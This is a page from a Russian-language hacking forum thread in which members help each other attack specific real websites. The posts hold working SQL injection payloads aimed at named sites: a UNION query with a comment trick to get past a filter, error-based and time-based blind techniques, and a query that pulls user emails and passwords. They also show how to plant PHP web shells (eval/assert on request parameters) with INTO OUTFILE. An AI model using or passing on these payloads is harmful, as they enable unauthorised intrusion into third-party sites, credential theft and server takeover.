Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    UNION не работает кстати после ORDER BY.
    Единственное, что я вижу, что можно попробовать, это
    Code:
    INTO OUTFILE '/full/path/to/shell.php' LINES TERMINATED BY +'<?php @eval($_REQUEST[cmd]); ?>' 
    Но опять же, FILE_PRIV = Y, magic_quotes_gpc = Off

    Можно подобрать еще количество колонок, но т.к. UNION работать не будет, то толку мало.
    Крутить как-то так:
    Code:
    , 100

    UPD

    Code:
    SELECT user FROM mysql.user  ORDER BY user, sleep(IF(substr(@@version, 1, 1)=4, 1, 0));
    
    SELECT user FROM mysql.user ORDER BY user, sleep(IF(substr(@@version, 1, 1)=5, 1, 0));
    
    Ток если записей много, то лучше юзать LIMIT.
    Что-то по типу blind sleep-based sql injection :cool:
     
    #18821 Boolean, 3 Jan 2012
    Last edited: 3 Jan 2012
    1 person likes this.
  2. AlonDelon

    AlonDelon Member

    Joined:
    12 Nov 2010
    Messages:
    322
    Likes Received:
    18
    Reputations:
    -3
    можно как нибудь обойти и авторизоваться, если в админку не пускает? логин - пароль есть.
    CMS WP
     
  3. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Инглиш бро. Криво установлено все.
     
    1 person likes this.
  4. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    390
    Likes Received:
    39
    Reputations:
    23
    Как вывести версию БД, столкнулся с жесткой фильтрацией и обойти не получается?

    _http://1cnews.com/index.php?mode=search&sstring='and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'
     
    #18824 er9j6@, 3 Jan 2012
    Last edited: 6 Jan 2012
  5. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://1cnews.com/index.php?mode=viewpart&part=-10+and+1=1+/*!uniON*/+select+1,version(),3--+f
    В title 5.1.33-log
    Вот так бро :D А то в поиске заморочки с LIKE. Вообщем все гениальное просто ;)
     
    1 person likes this.
  6. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    390
    Likes Received:
    39
    Reputations:
    23
    как ты количество полей подобрал, каким запросом?
     
  7. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Тут главное внимательность.
    http://1cnews.com/index.php?mode=viewpart&part=10

    Делаем запрос:
    http://1cnews.com/index.php?mode=viewpart&part=10'
    В заголовке исчезает "Events of the branch". Что то тут не так ;)

    Проверяем на inj.
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1
    "Events of the branch" появился. А если:
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=2
    Исчез. Соответственно, true и false.

    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+order+by+10--+f
    Заголовок исчез.
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+order+by+3--+f
    Пояивлся, соответственно, кол-во 3.

    Ну а дальше
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+union+select+1,2,3--+f
    403 forbidden

    Попробуем убрать union, все выводится, значит фильтрует union. Шифруем union => /*!uniON*/

    Пробуем
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+/*!uniON*/+select+1,2,3--+f
    Заголовок есть, 10 заменяем на -10. В заголовке видим цифру 2.

    P.S. Вообщем контент-based injection :D
     
    #18827 Ereee, 3 Jan 2012
    Last edited: 3 Jan 2012
    1 person likes this.
  8. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    184
    Likes Received:
    22
    Reputations:
    2
    Есть доступ к бд как залить shell ?
     
  9. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Сначала посмотри File_priv. Для этого:
    http://site.ltd/a.php?a=-1+union+select+1,user(),3--+f
    Копируем юзера.
    http://site.ltd/a.php?a=-1+union+select+1,file_priv,3+from+mysql.user+where+user='тут юзер'--+f
    Если выведет N, то залить не получится. Если Y + mq=off, то:
    http://site.ltd/a.php?a=-1+union+select+1,<?php tvoi_shell_kod ?>,3+into+outfile+'/path/to/www/dir/file.php'--+f
    После этого шелл будет по адресу site.ltd/dir/file.php
     
  10. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    184
    Likes Received:
    22
    Reputations:
    2
    У меня прямой доступ =) Нут не sql inj ) Захожу через Navicat
     
  11. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Ты про это наверно:
    PHP:
    select '<?php eval($_REQUEST[e]); ?>' into outfile '/path/to/www/dir/file.php'
     
  12. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,546
    Likes Received:
    173
    Reputations:
    75
    народ, подобрал колонки, и проблема возникла из-за редиректа, как быть дальше?

    PHP:
    http://www.shop-stroitel.ru/catalog/?id=14+or+1=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+
     
  13. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    359
    Likes Received:
    178
    Reputations:
    108
    Вот так быть -> http://www.shop-stroitel.ru/catalog/?id=111114+or+1+group+by+concat%28%20%28select+user%28%29%29,floor%28rand%280%29*2%29%29%20having%20min%280%29--+ Называется ERROR BASED, TIME BASED - гугли по этим ключам
     
  14. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,546
    Likes Received:
    173
    Reputations:
    75
    я так пробовал, когда начинаю выводить данне из таблицы

    PHP:
    http://www.shop-stroitel.ru/catalog/?id=14+or+1+group+by+concat((select+concat_ws(0x3a,email,password)+from+stroitel.acx_users+limit+$i,1),0x00,floor(rand(0)*2))having+min(0)+or+1--+
    возникает тотже редирект
     
  15. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Тут можно спокойно обойтись и без вывода в ошибке и тем более не заморачиваться с тайм басед методом, там есть вывод в урл
    Code:
    www.shop-stroitel.ru/catalog/?id=14+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+
    
     
  16. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    имею доступ к админке,могу редактировать индексную страницу, пытаюсь вставить туда:
    <?php assert(stripslashes($_REQUEST[a])); ?>
    но он появляется в соурсе:
    [​IMG]
    и соответственно index.php?a=phpinfo()
    не работает, что еще можно попробовать, подскажите пожалуйста товарищи хакеры :)
     
  17. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    На будущее, если что то не выводится или перенаправляет, пробуй в Opere:

    Чтобы отключить авторедирект:
    Открой уязвимый сайт => MOUSE2 => Настройки для сайта => Интернет(или Сеть, просто у меня EN Opera) => Сними галочку "Включить автоматическое перенаправление"

    Чтобы отключить Javascript:
    Открой уязвимый сайт => MOUSE2 => Настройки для сайта => Скрипты(Сценарий) => Сними галочку "Включить скрипты(Javascript)"

    В Firefox:
    Настройки => Дополнительно => Общие => "Предупреждать при попытке сайта перенаправить или перезагрузить страницу"

    Еще в твоем случаи mq=on, поэтому не получится через Error-based думаю, так как думаю, что нужно вставить кавычку, дабы вызвать ошибку. Возможно я и не прав.

    Это значит, что не выполняется php(впрочем везде так). Второй вопрос не подробный. Попробуй найти в админке файлменеджеры, аплоадеры и т.д.
     
    #18837 Ereee, 4 Jan 2012
    Last edited: 4 Jan 2012
  18. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Столкнулся с проблемой

    есть скуля
    &ordtype=name&ord=,sleep(IF(ASCII(substr((select+1+from+user),1,1))=123,1,0))

    проблема в том что скрипт переводит таблицу user в верхний регистр USER и в итоге
    Invalid query: Table 'db.USER' doesn't exist


    пробывал
    &ordtype=тфьу&ord=,sleep(IF(ASCII(substr((set+@@global.lower_case_table_names=1),1,1))=123,1,0))

    но ошибка
    Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SET @@GLOBAL.LOWER_CASE_TABLE_NAMES=1),10,1))=48,1,0))' at line 9

    как можно обойти перевод в верхний регистр или заставить поменять системную переменную?
    и еще раз тут есть вывод ошибок то наверное можно выводить через error-based но не выходит(

    upd:
    с error-based разобрадся. получилось
    Code:
    &ordtype=name&ord=,(select+1+from+information_schema.tables+group+by+concat((select+1),floor(rand(0)*2))+having+min(0))
    , но так и не могу обойти перевод в верхний регистр(
     
    #18838 [R]eD, 4 Jan 2012
    Last edited: 4 Jan 2012
  19. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    unhex(hex()) не? По логике должно сработать.
     
  20. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    он переводит имя таблицы в верхний регистр а не сам запрос т.е.
    select password from USER
    с unhex(hex(user)) такое не прокатит.

    вродебы где-то была метод с переводом всего запроса в mysql-hex и его выполнением в подзадпросе, но не могу найти(
     
Thread Status:
Not open for further replies.